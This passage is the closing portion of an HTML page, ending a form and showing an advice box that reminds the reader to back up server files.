				</form>
				<div class="advice">
					<p>Backup your server files!</p>
				</div>
			</div>
		</div>
	</body>
</html>